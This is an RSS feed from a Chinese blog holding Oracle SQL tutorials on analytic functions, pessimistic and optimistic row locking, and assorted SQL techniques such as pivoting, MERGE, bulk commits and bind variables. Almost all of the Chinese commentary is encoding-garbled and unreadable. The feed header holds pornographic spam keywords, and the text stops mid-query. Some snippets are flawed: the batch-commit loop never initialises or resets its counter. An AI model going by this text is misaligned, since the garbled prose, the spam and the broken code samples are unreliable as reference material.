锘??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲AV成人片色在线观看,2022年亚洲午夜一区二区福利,国产精品亚洲专区在线播放http://m.tkk7.com/19851985lili/category/20441.html鈽淕ivE mE HapPy 鈽? zh-cnTue, 15 May 2007 11:54:50 GMTTue, 15 May 2007 11:54:50 GMT60oracle鍒嗘瀽鍑芥暟 http://m.tkk7.com/19851985lili/articles/113616.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenWed, 25 Apr 2007 12:46:00 GMThttp://m.tkk7.com/19851985lili/articles/113616.htmlhttp://m.tkk7.com/19851985lili/comments/113616.htmlhttp://m.tkk7.com/19851985lili/articles/113616.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/113616.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/113616.htmloracle鍒嗘瀽鍑芥暟

zhouwf0726 | 25 涓冩湀, 2006 12:51

oracle鍒嗘瀽鍑芥暟--SQL*PLUS鐜
--1銆丟ROUP BY瀛愬彞

--CREATE TEST TABLE AND INSERT TEST DATA.
create table students
(id number(15,0),
area varchar2(10),
stu_type varchar2(2),
score number(20,2));

insert into students values(1, '111', 'g', 80 );
insert into students values(1, '111', 'j', 80 );
insert into students values(1, '222', 'g', 89 );
insert into students values(1, '222', 'g', 68 );
insert into students values(2, '111', 'g', 80 );
insert into students values(2, '111', 'j', 70 );
insert into students values(2, '222', 'g', 60 );
insert into students values(2, '222', 'j', 65 );
insert into students values(3, '111', 'g', 75 );
insert into students values(3, '111', 'j', 58 );
insert into students values(3, '222', 'g', 58 );
insert into students values(3, '222', 'j', 90 );
insert into students values(4, '111', 'g', 89 );
insert into students values(4, '111', 'j', 90 );
insert into students values(4, '222', 'g', 90 );
insert into students values(4, '222', 'j', 89 );
commit;

col score format 999999999999.99

--A銆丟ROUPING SETS

select id,area,stu_type,sum(score) score
from students
group by grouping sets((id,area,stu_type),(id,area),id)
order by id,area,stu_type;

/*--------鐞嗚Вgrouping sets
select a, b, c, sum( d ) from t
group by grouping sets ( a, b, c )

絳夋晥浜?br>
select * from (
select a, null, null, sum( d ) from t group by a
union all
select null, b, null, sum( d ) from t group by b
union all
select null, null, c, sum( d ) from t group by c
)
*/

--B銆丷OLLUP

select id,area,stu_type,sum(score) score
from students
group by rollup(id,area,stu_type)
order by id,area,stu_type;

/*--------鐞嗚Вrollup
select a, b, c, sum( d )
from t
group by rollup(a, b, c);

絳夋晥浜?br>
select * from (
select a, b, c, sum( d ) from t group by a, b, c
union all
select a, b, null, sum( d ) from t group by a, b
union all
select a, null, null, sum( d ) from t group by a
union all
select null, null, null, sum( d ) from t
)
*/

--C銆丆UBE

select id,area,stu_type,sum(score) score
from students
group by cube(id,area,stu_type)
order by id,area,stu_type;

/*--------鐞嗚Вcube
select a, b, c, sum( d ) from t
group by cube( a, b, c)

絳夋晥浜?br>
select a, b, c, sum( d ) from t
group by grouping sets(
( a, b, c ),
( a, b ), ( a ), ( b, c ),
( b ), ( a, c ), ( c ),
() )
*/

--D銆丟ROUPING

/*浠庝笂闈㈢殑緇撴灉涓垜浠緢瀹規(guī)槗鍙戠幇,姣忎釜緇熻鏁版嵁鎵瀵瑰簲鐨勮閮戒細(xì)鍑虹幇null,
濡備綍鏉ュ尯鍒嗗埌搴曟槸鏍規(guī)嵁閭d釜瀛楁鍋氱殑姹囨誨憿,grouping鍑芥暟鍒ゆ柇鏄惁鍚堣鍒?*/

select decode(grouping(id),1,'all id',id) id,
decode(grouping(area),1,'all area',to_char(area)) area,
decode(grouping(stu_type),1,'all_stu_type',stu_type) stu_type,
sum(score) score
from students
group by cube(id,area,stu_type)
order by id,area,stu_type;

--2銆丱VER()鍑芥暟鐨勪嬌鐢?br>--1銆丷ANK()銆丏ENSE_RANK() 鐨勩丷OW_NUMBER()銆丆UME_DIST()銆丮AX()銆丄VG()

break on id skip 1
select id,area,score from students order by id,area,score desc;

select id,rank() over(partition by id order by score desc) rk,score from students;

--鍏佽騫跺垪鍚嶆銆佸悕嬈′笉闂存柇
select id,dense_rank() over(partition by id order by score desc) rk,score from students;

--鍗充嬌SCORE鐩稿悓錛孯OW_NUMBER()緇撴灉涔熸槸涓嶅悓
select id,row_number() over(partition by ID order by SCORE desc) rn,score from students;

select cume_dist() over(order by id) a, --璇ョ粍鏈澶ow_number/鎵鏈夎褰時ow_number
row_number() over (order by id) rn,id,area,score from students;

select id,max(score) over(partition by id order by score desc) as mx,score from students;

select id,area,avg(score) over(partition by id order by area) as avg,score from students; --娉ㄦ剰鏈夋棤order by鐨勫尯鍒?br>
--鎸夌収ID姹侫VG
select id,avg(score) over(partition by id order by score desc rows between unbounded preceding
and unbounded following ) as ag,score from students;


--2銆丼UM()

select id,area,score from students order by id,area,score desc;

select id,area,score,
sum(score) over (order by id,area) 榪炵畫姹傚拰, --鎸夌収OVER鍚庤竟鍐呭姹囨繪眰鍜?br>sum(score) over () 鎬誨拰, -- 姝ゅsum(score) over () 絳夊悓浜巗um(score)
100*round(score/sum(score) over (),4) "浠介(%)"
from students;

select id,area,score,
sum(score) over (partition by id order by area ) 榪瀒d緇眰鍜? --鎸夌収id鍐呭姹囨繪眰鍜?br>sum(score) over (partition by id) id鎬誨拰, --鍚刬d鐨勫垎鏁版誨拰
100*round(score/sum(score) over (partition by id),4) "id浠介(%)",
sum(score) over () 鎬誨拰, -- 姝ゅsum(score) over () 絳夊悓浜巗um(score)
100*round(score/sum(score) over (),4) "浠介(%)"
from students;

--4銆丩AG(COL,n,default)銆丩EAD(OL,n,default) --鍙栧墠鍚庤竟N鏉℃暟鎹?br>
select id,lag(score,1,0) over(order by id) lg,score from students;

select id,lead(score,1,0) over(order by id) lg,score from students;

--5銆丗IRST_VALUE()銆丩AST_VALUE()

select id,first_value(score) over(order by id) fv,score from students;

select id,last_value(score) over(order by id) fv,score from students;



鈽溾櫏鈽濵engChuChen 2007-04-25 20:46 鍙戣〃璇勮
]]>
Oracle鎮(zhèn)茶灝侀攣鍜屼箰瑙傚皝閿佸湪姣旇緝 http://m.tkk7.com/19851985lili/articles/113615.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenWed, 25 Apr 2007 12:42:00 GMThttp://m.tkk7.com/19851985lili/articles/113615.htmlhttp://m.tkk7.com/19851985lili/comments/113615.htmlhttp://m.tkk7.com/19851985lili/articles/113615.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/113615.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/113615.html鍦≒hp鏍煎紡涓?鍐掑彿琚漿涔変簡,搴旇鍦ㄧ殑鏈夌殑old鍜宯ew鍓嶅姞鍐掑彿,浠ョず鏇村姞娓呮櫚.

--oracle鎮(zhèn)茶灝侀攣搴旂敤紺轟緥(浠ヤ笅鍖呮槸鐮旂┒Oracle鐨?1i鍚庢ā鎷熺殑)錛?br>--ttx_tmp.sql

浠g爜:

create
or replace package ttx_temp_pkg is
  g_ok varchar2
(2) := 'OK';    
  
g_changed varchar2(21) :='CHANGED BY OTHER USER';
  
g_no_row varchar2(14) := 'NO ROW UPDATED';
  
  
procedure lock_row
  
(
    
x_message         out nocopy varchar2,
    
p_id              in number,
    
p_owner           in varchar2,
    
p_object_name     in varchar2,
    
p_subobject_name  in varchar2,
    
p_object_id       in number,
    
p_data_object_id  in number,
    
p_object_type     in varchar2,
    
p_created         in date,
    
p_last_ddl_time   in date,
    
p_timestamp       in varchar2,
    
p_status          in varchar2,
    
p_temporary       in varchar2,
    
p_generated       in varchar2,
    
p_secondary       in varchar2
  
);
  
  
procedure update_row
  
(
    
x_message         out nocopy varchar2,
    
p_id              in number,
    
p_owner           in varchar2,
    
p_object_name     in varchar2,
    
p_subobject_name  in varchar2,
    
p_object_id       in number,
    
p_data_object_id  in number,
    
p_object_type     in varchar2,
    
p_created         in date,
    
p_last_ddl_time   in date,
    
p_timestamp       in varchar2,
    
p_status          in varchar2,
    
p_temporary       in varchar2,
    
p_generated       in varchar2,
    
p_secondary       in varchar2  
  
);
  
  
procedure delete_row
  
(
    
p_id in number,
    
x_message out nocopy varchar2
  
);

end ttx_temp_pkg;
/

create or replace package body ttx_temp_pkg is

  procedure lock_row
  
(
    
x_message         out nocopy varchar2,
    
p_id              in number,
    
p_owner           in varchar2,
    
p_object_name     in varchar2,
    
p_subobject_name  in varchar2,
    
p_object_id       in number,
    
p_data_object_id  in number,
    
p_object_type     in varchar2,
    
p_created         in date,
    
p_last_ddl_time   in date,
    
p_timestamp       in varchar2,
    
p_status          in varchar2,
    
p_temporary       in varchar2,
    
p_generated       in varchar2,
    
p_secondary       in varchar2
  
) is
    cursor cur_ttx_temp is
      select
        id
,
        
owner,
        
object_name,
        
subobject_name,
        
object_id,
        
data_object_id,
        
object_type,
        
created,
        
last_ddl_time,
        
timestamp,
        
status,
        
temporary,
        
generated,
        
secondary
      from ttx_temp
      where id
= p_id
      
for update nowait;
    
ctt cur_ttx_temp%rowtype;  
            
  
begin
      open cur_ttx_temp
;
      
fetch cur_ttx_temp into ctt;      
      if ((
ctt.owner=p_owner) or
          (
ctt.owner is null and p_owner is null))
        and ((
ctt.object_name=p_object_name) or
          (
ctt.object_name is null and p_object_name is null))
        and ((
ctt.subobject_name=p_subobject_name) or
          (
ctt.subobject_name is null and p_subobject_name is null))
        and ((
ctt.object_id=p_object_id) or
          (
ctt.object_id is null and p_object_id is null))
        and ((
ctt.data_object_id=p_data_object_id) or
          (
ctt.data_object_id is null  and p_data_object_id is null))
        and ((
ctt.object_type=p_object_type) or
          (
ctt.object_type is null and p_object_type is null))
        and ((
ctt.created=p_created) or
          (
ctt.created is null and p_created is null))
        and ((
ctt.last_ddl_time=p_last_ddl_time) or
          (
ctt.last_ddl_time is null and p_last_ddl_time is null))
        and ((
ctt.timestamp=p_timestamp) or
          (
ctt.timestamp is null and p_timestamp is null))
        and ((
ctt.status=p_status) or
          (
ctt.status is null and p_status is null))
        and ((
ctt.temporary=p_temporary) or
          (
ctt.temporary is null and p_temporary is null))
        and ((
ctt.generated=p_generated) or
          (
ctt.generated is null and p_generated is null))
        and ((
ctt.secondary=p_secondary) or
          (
ctt.secondary is null and p_secondary is null)) then        
        x_message
:= g_ok;    
      else
        
x_message := g_changed;
      
end if;  
      
close cur_ttx_temp;
     
  
exception
    when others then
      x_message
:= substrb(sqlcode||'/'||sqlerrm,1,200);  
      if
cur_ttx_temp%isopen then
        close cur_ttx_temp
;
      
end if;
  
end;
  
  
procedure update_row
  
(
    
x_message         out nocopy varchar2,
    
p_id              in number,
    
p_owner           in varchar2,
    
p_object_name     in varchar2,
    
p_subobject_name  in varchar2,
    
p_object_id       in number,
    
p_data_object_id  in number,
    
p_object_type     in varchar2,
    
p_created         in date,
    
p_last_ddl_time   in date,
    
p_timestamp       in varchar2,
    
p_status          in varchar2,
    
p_temporary       in varchar2,
    
p_generated       in varchar2,
    
p_secondary       in varchar2  
  
) is
  begin
      update ttx_temp
      set    
      owner          
= p_owner,           
      
object_name    = p_object_name,
      
subobject_name = p_subobject_name,
      
object_id      = p_object_id,
      
data_object_id = p_data_object_id,
      
object_type    = p_object_type,
      
created        = p_created,
      
last_ddl_time  = p_last_ddl_time,
      
timestamp      = p_timestamp,
      
status         = p_status,
      
temporary      = p_temporary,
      
generated      = p_generated,
      
secondary      = p_secondary       
      where id
=p_id;
      
      if
sql%rowcount > 0 then
        x_message
:= g_ok;
      else
        
x_message := g_no_row;
    
end if;  
  
exception
    when others then
      x_message
:= substrb(sqlcode||'/'||sqlerrm,1,200);
  
end;
  
  
procedure delete_row
  
(
    
p_id in number,
    
x_message out nocopy varchar2
  
) is
  begin
      delete ttx_temp
      where id
=p_id;
      if
sql%rowcount > 0 then
        x_message
:= g_ok;
      else
        
raise no_data_found;
      
end if;
  
  
exception
    when others then
        x_message
:= substrb(sqlcode||'/'||sqlerrm,1,200);    
  
end;  

end ttx_temp_pkg;
/



--鐜鍑嗗


ttx@TTX>create table ttx_temp as select *
2 from dba_objects where rownum < 100;

Table created.

ttx@TTX>alter table ttx_temp add id number;

Table altered.

ttx@TTX>create sequence ttx_temp_s;

Sequence created.

ttx@TTX>update ttx_temp set id = ttx_temp_s.nextval;

99 rows updated.

ttx@TTX>commit;

Commit complete.

ttx@TTX>alter table ttx_temp modify id not null;

Table altered.


ttx@TTX>alter table ttx_temp add constraint ttx_temp_pk primary key(id);

Table altered.

ttx@TTX>show errros;
SP2-0158: unknown SHOW option "errros"
ttx@TTX>desc ttx_temp
Name Null? Type
----------------------------------------------------- -------- ------------------------------------
OWNER VARCHAR2(30)
OBJECT_NAME VARCHAR2(128)
SUBOBJECT_NAME VARCHAR2(30)
OBJECT_ID NUMBER
DATA_OBJECT_ID NUMBER
OBJECT_TYPE VARCHAR2(19)
CREATED DATE
LAST_DDL_TIME DATE
TIMESTAMP VARCHAR2(19)
STATUS VARCHAR2(7)
TEMPORARY VARCHAR2(1)
GENERATED VARCHAR2(1)
SECONDARY VARCHAR2(1)
ID NOT NULL NUMBER

ttx@TTX>column object_name format a30
ttx@TTX>column owner format a15
ttx@TTX>select owner,object_name from ttx_temp where id < 10;

OWNER OBJECT_NAME
--------------- ------------------------------
SYS ICOL$
SYS I_USER1
SYS CON$
SYS UNDO$
SYS C_COBJ#
SYS I_OBJ#
SYS PROXY_ROLE_DATA$
SYS I_IND1
SYS I_CDEF2

9 rows selected.

ttx@TTX>desc ttx_temp_pkg
PROCEDURE DELETE_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
P_ID NUMBER IN
X_MESSAGE VARCHAR2 OUT
PROCEDURE LOCK_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
X_MESSAGE VARCHAR2 OUT
P_ID NUMBER IN
P_OWNER VARCHAR2 IN
P_OBJECT_NAME VARCHAR2 IN
P_SUBOBJECT_NAME VARCHAR2 IN
P_OBJECT_ID NUMBER IN
P_DATA_OBJECT_ID NUMBER IN
P_OBJECT_TYPE VARCHAR2 IN
P_CREATED DATE IN
P_LAST_DDL_TIME DATE IN
P_TIMESTAMP VARCHAR2 IN
P_STATUS VARCHAR2 IN
P_TEMPORARY VARCHAR2 IN
P_GENERATED VARCHAR2 IN
P_SECONDARY VARCHAR2 IN
PROCEDURE UPDATE_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
X_MESSAGE VARCHAR2 OUT
P_ID NUMBER IN
P_OWNER VARCHAR2 IN
P_OBJECT_NAME VARCHAR2 IN
P_SUBOBJECT_NAME VARCHAR2 IN
P_OBJECT_ID NUMBER IN
P_DATA_OBJECT_ID NUMBER IN
P_OBJECT_TYPE VARCHAR2 IN
P_CREATED DATE IN
P_LAST_DDL_TIME DATE IN
P_TIMESTAMP VARCHAR2 IN
P_STATUS VARCHAR2 IN
P_TEMPORARY VARCHAR2 IN
P_GENERATED VARCHAR2 IN
P_SECONDARY VARCHAR2 IN

ttx@TTX>




--鍓嶅彴鎿嶄綔鐢ㄦ埛閫氳繃鍓嶅彴鐣岄潰鏌ュ嚭闇瑕佺殑鏁版嵁(select * from ttx_temp)錛?br>--鐒跺悗瀵瑰ID=1鐨勮繖琛屾暟鎹殑SUBOBJECT_NAME榪涜淇敼鍚庢彁浜ゆ洿鏂版椂錛?br>--紼嬪簭搴旇綾諱技浜庝笅闈㈢殑鏂瑰紡璋冪敤錛屽氨鍙互淇濊瘉鏁版嵁鏇存柊涓嶈涓㈠け


浠g爜:

begin
  
--old.xxx 鍦ㄨ皟鐢ㄦ椂鐢ㄥ叿浣撶殑鍒濆鍊兼浛浠?/font>,鍦∣racle Form鍜孌elphi涓兘鏀寔Old鍜孨ew鐨勬ā寮?/font>,
  --
鍦↗AVA涓垜涓嶅お娓呮,搴旇鏄湁鍔炴硶鐨?
  ttx_temp_pkg
.lock_row
  
(
    
x_message         => v_message,       
    
p_id              => id,            
    
p_owner           => old.owner,
    
p_object_name     => old.object_name,
    
p_subobject_name  => old.subobject_name,
    
p_object_id       => old.object_id,
    
p_data_object_id  => old.data_object_id,
    
p_object_type     => old.object_type,
    
p_created         => old.created,
    
p_last_ddl_time   => old.last_ddl_time,
    
p_timestamp       => old.timestamp,
    
p_status          => old.status,
    
p_temporary       => old.temporary,
    
p_generated       => old.generated,
    
p_secondary       => old.secondary
  
);
  
  if
v_message = 'OK' then
    ttx_temp_pkg
.update_row      
    
(
      
x_message         => v_message,
      
p_id              => id,--鐢ㄥ叿浣撶殑鍊間唬鏇?
      p_owner           
=> new.owner,         
      
p_object_name     => new.object_name,   
      
p_subobject_name  => new.subobject_name,
      
p_object_id       => new.object_id,     
      
p_data_object_id  => new.data_object_id,
      
p_object_type     => new.object_type,   
      
p_created         => new.created,       
      
p_last_ddl_time   => new.last_ddl_time,
      
p_timestamp       => new.timestamp,     
      
p_status          => new.status,        
      
p_temporary       => new.temporary,     
      
p_generated       => new.generated,     
      
p_secondary       => new.secondary      
    
);
    
    if
v_message = 'OK' then
      
--鏁版嵁鏇存柊鎴愬姛
    
else
      --
鏁版嵁鏇存柊澶辮觸  
    end
if;
    
  else
    --
閿佸畾琛屽嚭閿欙紝鍏蜂綋淇℃伅涓?/font>:v_message  
  end
if;  
  
end;




--Oracle涔愯灝侀攣紺轟緥錛?br>--鍓嶅彴鎿嶄綔鐢ㄦ埛閫氳繃鍓嶅彴鐣岄潰鏌ュ嚭闇瑕佺殑鏁版嵁(select t.rowid,t.* from ttx_temp t)錛?br>--鐒跺悗瀵瑰ID=1鐨勮繖琛屾暟鎹殑SUBOBJECT_NAME榪涜淇敼鎻愪氦鏇存柊錛?br>--搴旇浣跨敤鐨勭▼搴忎唬鐮佺被浼間負(fù)(Delphi鍙互鑷凡浜х敓錛屽叾浣欑殑涓嶅お娓呮)錛?br>


浠g爜:

update ttx_temp t
set t
.subobject_name=new.subobject_name
where t
.rowid=_rowid--鐢ㄥ叿浣撶殑鍊間唬鏇?
and t.id=old.id
and nvl(t.owner,'"$!')=nvl(old.owner,'"$!')
and
nvl(t.object_name,'"$!')=nvl(old.object_name,'"$!')
and
nvl(t.object_id,'"$!')=nvl(old.object_id,'"$!')
and
nvl(t.data_object_id,'"$!')=nvl(old.data_object_id,'"$!')
and
nvl(t.object_type,'"$!')=nvl(old.object_type,'"$!')
and
nvl(t.created,'"$!')=nvl(old.created,'"$!')
and
nvl(t.last_ddl_time,'"$!')=nvl(old.last_ddl_time,'"$!')
and
nvl(t.timestamp,'"$!')=nvl(old.timestamp,'"$!')
and
nvl(t.status,'"$!')=nvl(old.status,'"$!')
and
nvl(t.temporary,'"$!')=nvl(old.temporary,'"$!')
and
nvl(t.generated,'"$!')=nvl(old.generated,'"$!')
and
nvl(t.secondary,'"$!')=nvl(old.secondary,'"$!');



--涔愯灝侀攣鐨勪唬鐮侀噺鐩稿鏉ヨ灝戝緢澶氾紝浣嗗澶т簡涓㈠け鏇存柊鐨勯闄┿傚湪瀹為檯搴旂敤涓?br>--鍒板簳鏄嬌鐢ㄦ?zhèn)茶灏侀攣杩樻槸涔愯灏侀攣锛岀敱寮鍙戜漢鍛樻潵瀹氥備笉榪嘜racle 11i鐗堢殑ERP
--濡傛搴炲ぇ澶嶆潅鐨勭郴緇熼兘浣跨敤鎮(zhèn)茶灝侀攣錛屾病鏈夌悊鐢辮鏄庝箰瑙傚皝閿佷紭浜庢?zhèn)茶灏侀攣銆?/font>


]]>
Oracle SQL綺懼SQL璇彞璁茶В http://m.tkk7.com/19851985lili/articles/113612.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenWed, 25 Apr 2007 12:36:00 GMThttp://m.tkk7.com/19851985lili/articles/113612.htmlhttp://m.tkk7.com/19851985lili/comments/113612.htmlhttp://m.tkk7.com/19851985lili/articles/113612.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/113612.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/113612.html--琛屽垪杞崲 琛岃漿鍒?br>DROP TABLE t_change_lc;
CREATE TABLE t_change_lc (card_code VARCHAR2(3), q NUMBER, bal NUMBER);

INSERT INTO t_change_lc
SELECT '001' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4
UNION
SELECT '002' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4;

SELECT * FROM t_change_lc;

SELECT a.card_code,
SUM(decode(a.q, 1, a.bal, 0)) q1,
SUM(decode(a.q, 2, a.bal, 0)) q2,
SUM(decode(a.q, 3, a.bal, 0)) q3,
SUM(decode(a.q, 4, a.bal, 0)) q4
FROM t_change_lc a
GROUP BY a.card_code
ORDER BY 1;

--琛屽垪杞崲 鍒楄漿琛?br>DROP TABLE t_change_cl;
CREATE TABLE t_change_cl AS
SELECT a.card_code,
SUM(decode(a.q, 1, a.bal, 0)) q1,
SUM(decode(a.q, 2, a.bal, 0)) q2,
SUM(decode(a.q, 3, a.bal, 0)) q3,
SUM(decode(a.q, 4, a.bal, 0)) q4
FROM t_change_lc a
GROUP BY a.card_code
ORDER BY 1;

SELECT * FROM t_change_cl;

SELECT t.card_code,
t.rn q,
decode(t.rn, 1, t.q1, 2, t.q2, 3, t.q3, 4, t.q4) bal
FROM (SELECT a.*, b.rn
FROM t_change_cl a,
(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM <= 4) b) t
ORDER BY 1, 2;

--琛屽垪杞崲 琛岃漿鍒?鍚堝茍
DROP TABLE t_change_lc_comma;
CREATE TABLE t_change_lc_comma AS SELECT card_code,'quarter_'||q AS q FROM t_change_lc;

SELECT * FROM t_change_lc_comma;

SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q
FROM (SELECT a.card_code,
a.q,
row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn
FROM t_change_lc_comma a) t1
START WITH t1.rn = 1
CONNECT BY t1.card_code = PRIOR t1.card_code
AND t1.rn - 1 = PRIOR t1.rn
GROUP BY t1.card_code;

--琛屽垪杞崲 鍒楄漿琛?鍒嗗壊
DROP TABLE t_change_cl_comma;
CREATE TABLE t_change_cl_comma AS
SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q
FROM (SELECT a.card_code,
a.q,
row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn
FROM t_change_lc_comma a) t1
START WITH t1.rn = 1
CONNECT BY t1.card_code = PRIOR t1.card_code
AND t1.rn - 1 = PRIOR t1.rn
GROUP BY t1.card_code;

SELECT * FROM t_change_cl_comma;

SELECT t.card_code,
substr(t.q,
instr(';' || t.q, ';', 1, rn),
instr(t.q || ';', ';', 1, rn) - instr(';' || t.q, ';', 1, rn)) q
FROM (SELECT a.card_code, a.q, b.rn
FROM t_change_cl_comma a,
(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM <= 100) b
WHERE instr(';' || a.q, ';', 1, rn) > 0) t
ORDER BY 1, 2;


-- 瀹炵幇涓鏉¤褰曟牴鎹潯浠跺琛ㄦ彃鍏?br>DROP TABLE t_ia_src;
CREATE TABLE t_ia_src AS SELECT 'a'||ROWNUM c1, 'b'||ROWNUM c2 FROM dual CONNECT BY ROWNUM<=5;
DROP TABLE t_ia_dest_1;
CREATE TABLE t_ia_dest_1(flag VARCHAR2(10) , c VARCHAR2(10));
DROP TABLE t_ia_dest_2;
CREATE TABLE t_ia_dest_2(flag VARCHAR2(10) , c VARCHAR2(10));
DROP TABLE t_ia_dest_3;
CREATE TABLE t_ia_dest_3(flag VARCHAR2(10) , c VARCHAR2(10));

SELECT * FROM t_ia_src;
SELECT * FROM t_ia_dest_1;
SELECT * FROM t_ia_dest_2;
SELECT * FROM t_ia_dest_3;

INSERT ALL
WHEN (c1 IN ('a1','a3')) THEN
INTO t_ia_dest_1(flag,c) VALUES(flag1,c2)
WHEN (c1 IN ('a2','a4')) THEN
INTO t_ia_dest_2(flag,c) VALUES(flag2,c2)
ELSE
INTO t_ia_dest_3(flag,c) VALUES(flag1||flag2,c1||c2)
SELECT c1,c2, 'f1' flag1, 'f2' flag2 FROM t_ia_src;

-- 濡傛灉瀛樺湪灝辨洿鏂幫紝涓嶅瓨鍦ㄥ氨鎻掑叆鐢ㄤ竴涓鍙ュ疄鐜?br>DROP TABLE t_mg;
CREATE TABLE t_mg(code VARCHAR2(10), NAME VARCHAR2(10));

SELECT * FROM t_mg;

MERGE INTO t_mg a
USING (SELECT 'the code' code, 'the name' NAME FROM dual) b
ON (a.code = b.code)
WHEN MATCHED THEN
UPDATE SET a.NAME = b.NAME
WHEN NOT MATCHED THEN
INSERT (code, NAME) VALUES (b.code, b.NAME);

-- 鎶藉彇/鍒犻櫎閲嶅璁板綍
DROP TABLE t_dup;
CREATE TABLE t_dup AS SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM<=10;
INSERT INTO t_dup SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM<=2;

SELECT * FROM t_dup;

SELECT * FROM t_dup a WHERE a.ROWID <> (SELECT MIN(b.ROWID) FROM t_dup b WHERE a.code=b.code);

SELECT b.code, b.NAME
FROM (SELECT a.code,
a.NAME,
row_number() over(PARTITION BY a.code ORDER BY a.ROWID) rn
FROM t_dup a) b
WHERE b.rn > 1;

-- IN/EXISTS鐨勪笉鍚岄傜敤鐜
-- t_orders.customer_id鏈夌儲寮?br>SELECT a.*
FROM t_employees a
WHERE a.employee_id IN
(SELECT b.sales_rep_id FROM t_orders b WHERE b.customer_id = 12);

SELECT a.*
FROM t_employees a
WHERE EXISTS (SELECT 1
FROM t_orders b
WHERE b.customer_id = 12
AND a.employee_id = b.sales_rep_id);

-- t_employees.department_id鏈夌儲寮?br>SELECT a.*
FROM t_employees a
WHERE a.department_id = 10
AND EXISTS
(SELECT 1 FROM t_orders b WHERE a.employee_id = b.sales_rep_id);

SELECT a.*
FROM t_employees a
WHERE a.department_id = 10
AND a.employee_id IN (SELECT b.sales_rep_id FROM t_orders b);

-- FBI
DROP TABLE t_fbi;
CREATE TABLE t_fbi AS
SELECT ROWNUM rn, dbms_random.STRING('z',10) NAME , SYSDATE + dbms_random.VALUE * 10 dt FROM dual
CONNECT BY ROWNUM <=10;

CREATE INDEX idx_nonfbi ON t_fbi(dt);

DROP INDEX idx_fbi_1;
CREATE INDEX idx_fbi_1 ON t_fbi(trunc(dt));

SELECT * FROM t_fbi WHERE trunc(dt) = to_date('2006-09-21','yyyy-mm-dd') ;

-- 涓嶅緩璁嬌鐢?br>SELECT * FROM t_fbi WHERE to_char(dt, 'yyyy-mm-dd') = '2006-09-21';

-- LOOP涓殑COMMIT/ROLLBACK
DROP TABLE t_loop PURGE;
create TABLE t_loop AS SELECT * FROM user_objects WHERE 1=2;

SELECT * FROM t_loop;

-- 閫愯鎻愪氦
DECLARE
BEGIN
FOR cur IN (SELECT * FROM user_objects) LOOP
INSERT INTO t_loop VALUES cur;
COMMIT;
END LOOP;
END;

-- 妯℃嫙鎵歸噺鎻愪氦
DECLARE
v_count NUMBER;
BEGIN
FOR cur IN (SELECT * FROM user_objects) LOOP
INSERT INTO t_loop VALUES cur;
v_count := v_count + 1;
IF v_count >= 100 THEN
COMMIT;
END IF;
END LOOP;
COMMIT;
END;

-- 鐪熸鐨勬壒閲忔彁浜?br>DECLARE
CURSOR cur IS
SELECT * FROM user_objects;
TYPE rec IS TABLE OF user_objects%ROWTYPE;
recs rec;
BEGIN
OPEN cur;
WHILE (TRUE) LOOP
FETCH cur BULK COLLECT
INTO recs LIMIT 100;
-- forall 瀹炵幇鎵歸噺
FORALL i IN 1 .. recs.COUNT
INSERT INTO t_loop VALUES recs (i);
COMMIT;
EXIT WHEN cur%NOTFOUND;
END LOOP;
CLOSE cur;
END;

-- 鎮(zhèn)茶閿佸畾/涔愯閿佸畾
DROP TABLE t_lock PURGE;
CREATE TABLE t_lock AS SELECT 1 ID FROM dual;

SELECT * FROM t_lock;

-- 甯歌鐨勫疄鐜伴昏緫錛岄殣鍚玝ug
DECLARE
v_cnt NUMBER;
BEGIN
-- 榪欓噷鏈夊茍鍙戞х殑bug
SELECT MAX(ID) INTO v_cnt FROM t_lock;

-- here for other operation
v_cnt := v_cnt + 1;
INSERT INTO t_lock (ID) VALUES (v_cnt);
COMMIT;
END;

-- 楂樺茍鍙戠幆澧冧笅錛屽畨鍏ㄧ殑瀹炵幇閫昏緫
DECLARE
v_cnt NUMBER;
BEGIN
-- 瀵規(guī)寚瀹氱殑琛屽彇寰條ock
SELECT ID INTO v_cnt FROM t_lock WHERE ID=1 FOR UPDATE;
-- 鍦ㄦ湁lock鐨勬儏鍐典笅緇х畫涓嬮潰鐨勬搷浣?br>SELECT MAX(ID) INTO v_cnt FROM t_lock;

-- here for other operation
v_cnt := v_cnt + 1;
INSERT INTO t_lock (ID) VALUES (v_cnt);
COMMIT; --鎻愪氦騫朵笖閲婃斁lock
END;

-- 紜В鏋?杞В鏋?br>DROP TABLE t_hard PURGE;
CREATE TABLE t_hard (ID INT);

SELECT * FROM t_hard;

DECLARE
sql_1 VARCHAR2(200);
BEGIN
-- hard parse
-- java涓殑鍚岀瓑璇彞鏄?Statement.execute()
FOR i IN 1 .. 1000 LOOP
sql_1 := 'insert into t_hard(id) values(' || i || ')';
EXECUTE IMMEDIATE sql_1;
END LOOP;
COMMIT;

-- soft parse
--java涓殑鍚岀瓑璇彞鏄?PreparedStatement.execute()
sql_1 := 'insert into t_hard(id) values(:id)';
FOR i IN 1 .. 1000 LOOP
EXECUTE IMMEDIATE sql_1
USING i;
END LOOP;
COMMIT;
END;



-- 姝g‘鐨勫垎欏電畻娉?
SELECT *
FROM (SELECT a.*, ROWNUM rn
